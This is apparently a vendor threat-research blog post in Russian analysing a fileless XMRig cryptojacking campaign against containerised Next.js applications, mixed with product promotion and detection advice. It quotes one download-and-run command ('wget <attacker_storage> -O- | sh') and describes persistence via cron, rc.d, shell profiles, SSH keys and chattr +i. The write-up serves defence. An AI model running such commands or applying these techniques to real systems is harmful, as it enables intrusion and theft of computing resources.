Краткая суть: Атаки, которые с наибольшей вероятностью остаются незамеченными, — это те, которые никогда не касаются диска. Они не оставляют файлов, не вызывают сигнатур и специально созданы для обхода сканеров и датчиков, на которые полагается большинство организаций. Среда поведенческого обнаружения Aqua в реальном времени выявила многоэтажную безфайловую кампанию по скрытому майнингу в окружении клиента и обнаружила вредоносную активность на этажах выполнения процессов, дрейфа контейнеров, обеспечения персистентности и исходящего трафика майнинга. Телеметрия также показала точные точки выполнения, где встроенные механизмы защиты Aqua могут разорвать цепочку атаки до того, как запустится несанкционированный код, закрепится персистентность или трафик майнинга покинет рабочую нагрузку. Это разбор данной кампании и того уровня контроля в реальном времени, который сделал ее видимой.
Почему сканеры и датчики дают сбой, когда атака живет в памяти?
Команды безопасности вложили значительные средства в сканирование, управление состоянием защиты и практики shift-left. Эти средства контроля важны, но они созданы для выявления известных проблем до развертывания. Они не предназначены для остановки злоумышленника, который уже находится внутри работающей рабочей нагрузки, выполняет код в памяти и действует быстрее, чем успевает отреагировать человек.
Большинство инструментов, заявляющих о поддержке мониторинга в реальном времени, используют eBPF для наблюдения за активностью ядра и выдачи оповещений уже после того, как действие было разрешено. Это видимость, а не контроль. К моменту попадания оповещения в очередь бинарный файл уже запущен, полезная нагрузка записана, а злоумышленник закрепился в системе. Сканирование образов не имеет видимости полезных нагрузок, внедряемых после запуска контейнера. Инструментам EDR не хватает контекста на уровне рабочей нагрузки, чтобы понять, что на самом деле происходит внутри контейнера. Периферийные средства контроля не могут принудительно ограничивать исходящий трафик на уровне процессов, а это означает, что майнер, связывающийся с известным майнинг-пулом через стандартный порт, выглядит точно так же, как легитимный трафик приложения.
Для остановки сложных атак в реальном времени требуется принципиально иной уровень глубины: информация об активности процессов, файлов, сети и памяти, собираемая изнутри работающей рабочей нагрузки, в сочетании с возможностью реагировать на эту телеметрию до завершения несанкционированного действия.
Aqua использует мониторинг в реальном времени в сочетании с запатентованной встроенной защитой для блокирования несанкционированных действий до их завершения. Большинство инструментов мониторинга используют eBPF, чтобы наблюдать за происходящим и реагировать после того, как ядро разрешит действие. Aqua действует раньше ядра. Это означает, что сброшенные бинарные файлы не запускаются, безфайловые вредоносные программы останавливаются в точке выполнения, а цепочки атак разрываются в режиме реального времени. Мониторинг в реальном времени — это не просто то, куда смотрит Aqua, это то, где она действует.
Как Aqua увидела то, что пропустили другие инструменты?
Среда поведенческого обнаружения Aqua в реальном времени выявила многоэтажную безфайловую кампанию по скрытому майнингу XMRig, затрагивающую контейнеризированные приложения Node.js, созданные с использованием Next.js (React). Доступная телеметрия показала выполнение вредоносного кода через процессы Node.js, но не предоставила достаточно улик для определения конкретного использованного эксплойта. Каждый наблюдаемый этап кампании был разработан так, чтобы избегать обнаружения традиционными инструментами. Вот что увидела Aqua и где можно применить защиту в реальном времени.
Первоначальный доступ и выполнение: Выполнение началось в памяти через эксплойт Next.js. Затем злоумышленник использовал wget <attacker_storage> -O- | sh для загрузки и запуска скрипта первого этапа напрямую из удаленного источника — ничего не сохранялось на диск. Этот скрипт извлек запакованный загрузчик, который распаковался непосредственно в память (memfd:upX). Это был артефакт безфайлового выполнения, на который среагировала система обнаружения Aqua до того, как криптомайнер был сброшен на диск. Эта последовательность снизила зависимость злоумышленника от традиционного исполняемого файла на ранних стадиях атаки, ограничив возможности файловых сканеров по проверке загрузчика.
Политика блокировки безфайлового выполнения Aqua нацелена на такое поведение путем выявления выполнения из путей memfd: и /dev/shm/. При настройке в режиме принудительного блокирования Aqua может блокировать выполнение в памяти «на лету», не распознавая конкретную полезную нагрузку.
Дрейф и развертывание имплантов: Aqua зафиксировала выполнение скрытых файлов, а также защитных и сторожевых процессов, используемых для поддержания работы майнера. Поведенческое обнаружение Aqua выявило недавно добавленные бинарные файлы, которых не было в исходном образе. Когда функция предотвращения дрейфа работает в режиме блокировки, эти бинарные файлы блокируются до выполнения, не позволяя импланту закрепиться в рабочей нагрузке.
Персистентность: Злоумышленник закрепился в системе с помощью заданий cron, скриптов инициализации в rc.d и модификаций профилей оболочки. Злоумышленник также установил ключ SSH в качестве бэкдора на взломанных хостах. Майнер и сопутствующие процессы использовали имена, напоминающие легитимные системные службы, но отслеживание цепочки процессов Aqua выявило связь между процессом веб-приложения и неожиданными дочерними процессами. Aqua не обнаружила никаких доказательств того, что злоумышленник получил доступ к секретам, токенам или ключам клиентов.
Поведение против удаления: На более позднем этапе кампании злоумышленник использовал chattr +i для установки неизменяемых флагов для ключевых файлов, предотвращая их удаление даже процессами, работающими от имени root. Такое поведение показывает, что злоумышленник предполагал неизбежное обнаружение и пытался усложнить очистку. Поведенческая система Aqua обнаружила кампанию до того, как этот шаг стал актуальным.
Активный майнинг: Майнер XMRig осуществлял исходящую связь с известным майнинг-пулом Monero через стандартный порт. Без контекста на уровне процессов такой трафик сложно отличить от легитимного трафика приложения. Политика обнаружения криптомайнинга от Aqua идентифицировала майнинговую активность на уровне процессов и сети и сопоставила исходящее соединение с точным процессом, который его генерировал. При включенной защите Aqua может разорвать соединение и помешать рабочей нагрузке продолжать майнинг.
В чем разница между обнаружением атаки и ее остановкой?
Как Aqua обнаружила всю цепочку атаки?
Среда поведенческого обнаружения Aqua фиксирует события на уровне выполнения процессов, сигналов дрейфа, активности персистентности и исходящих сетевых событий. Платформа объединила эти сигналы в целостное представление о кампании: от аномального выполнения до активной связи с майнером. Исследователи Aqua Nautilus затем подтвердили и задокументировали масштабы активности, используя телеметрию, которую Aqua уже собрала. Среда выполнения включала контейнеры на базе Alpine, запускающие Node.js.
Все технические индикаторы, описанные в этой статье, отражают наблюдаемое поведение злоумышленников. Конкретные индикаторы компрометации, включая сетевые адреса назначения и хэши полезных нагрузок, предоставляются клиентам и исследователям безопасности по запросу.
Защищено ли ваше окружение от этого класса атак?
Если вы запускаете контейнеризированные рабочие нагрузки с приложениями, смотрящими в интернет, эта кампания иллюстрирует то, что может оставаться невидимым без обнаружения в реальном времени, и то, что может продолжаться бесконтрольно без активной защиты в реальном времени.
- Убедитесь, что функция предотвращения отклонений (Drift Prevention) включена и работает в режиме принудительного применения (enforcement), а не только в режиме аудита для базовых рабочих нагрузок.
- Убедитесь, что функция блокировки безфайлового выполнения (Block Fileless Execution) активна для рабочих нагрузок, где выполнение из памяти не является ожидаемым.
- Убедитесь, что обнаружение майнеров криптовалюты отображается корректно и что средства контроля исходящего трафика могут сопоставлять исходящие соединения с порождающими их процессами.
- Проверьте файлы authorized_keys и другие места закрепления на предмет неожиданных изменений внутри рабочих нагрузок и хостов.
Любая облачно-нативная атака в конечном итоге переходит в фазу выполнения. Среда выполнения — это именно та точка контроля, где это происходит. Aqua объединяет более чем десятилетний опыт обеспечения безопасности среды выполнения с запатентованными механизмами принудительного контроля, чтобы останавливать неавторизованное выполнение до его завершения. Чтобы узнать, как работает механизм принудительного контроля Aqua при отражении подобных атак, запросите демоверсию или обратитесь к своей команде учетной записи Aqua.
Признаки компрометации (IOC)
Часто задаваемые вопросы
Нужно ли Aqua распознавать конкретный бинарный файл майнера, чтобы заблокировать его?
Политика предотвращения отклонений (Drift Prevention) от Aqua блокирует бинарные файлы, которых не было в исходном образе, независимо от их типа. Функция блокировки безфайлового выполнения ориентирована на паттерн выполнения (например, загрузку из memfd:), а не на саму полезную нагрузку. Обнаружение майнеров определяет поведенческие характеристики майнинговой активности. Эти средства контроля не зависят от сопоставления с известной сигнатурой бинарного файла.
Что делать, если злоумышленник использует легитимное на вид имя процесса?
Маскировка процессов — известный метод обхода защиты. Отслеживание цепочки процессов в Aqua определяет полную иерархию того, что и чем было запущено. Неожиданный процесс, порожденный процессом веб-приложения, аномален независимо от своего имени. Родительские и дочерние отношения автоматически разоблачают маскировку. Если бинарный файл отсутствовал в исходном образе, Drift Prevention также может заблокировать его выполнение.
А как насчет контейнеров, которые часто перезапускаются? Вызывает ли принудительное применение сбои?
Drift Prevention использует первоначально развернутый образ в качестве базового. Легитимные процессы, являющиеся частью этого образа, продолжают работать в обычном режиме. Блокировке подвергаются только бинарные файлы, добавленные после развертывания. При правильной настройке базовых линий политик ожидаемое поведение приложений продолжается без сбоев.
Относится ли это к рабочим нагрузкам за пределами контейнеров?
Да. Методы, используемые в этой кампании, включая выполнение из памяти, маскировку процессов, закрепление с помощью SSH-ключей, а также через cron и профили оболочки, являются нативными методами Linux, которые могут затрагивать рабочие нагрузки во всей инфраструктуре Linux. Их обнаружение и остановка внутри контейнеров требуют контекста рабочей нагрузки. Защита среды выполнения Aqua работает с контейнеризированными рабочими нагрузками, виртуальными машинами и хостами, обладая необходимой видимостью процессов, файлов, сети и памяти для понимания этой активности и управления ею.
Что такое безфайловый загрузчик майнера и почему его сложнее обнаружить?
Криптоджекинг — это несанкционированное использование вычислительных ресурсов для майнинга криптовалюты. Безфайловый загрузчик расшифровывает полезную нагрузку прямо в памяти, не оставляя следов на диске. Майнер может работать как легитимный на вид процесс, не создавать никаких индикаторов на диске и исчезать при остановке контейнера (хотя этот вариант был менее изощренным и размещал майнер внутри /tmp). Инструменты безопасности, полагающиеся на сканирование файлов или статические сигнатуры, пропустили бы большую часть цепочки заражения или даже всю ее целиком.
Исследовательская группа Aqua Nautilus специализируется на исследованиях кибербезопасности облачно-нативного стека. Ее миссия заключается в выявлении новых уязвимостей, угроз и атак, нацеленных на контейнеры, Kubernetes, бессерверные вычисления и инфраструктуру публичных облаков, что позволяет создавать новые методы и инструменты для борьбы с ними.








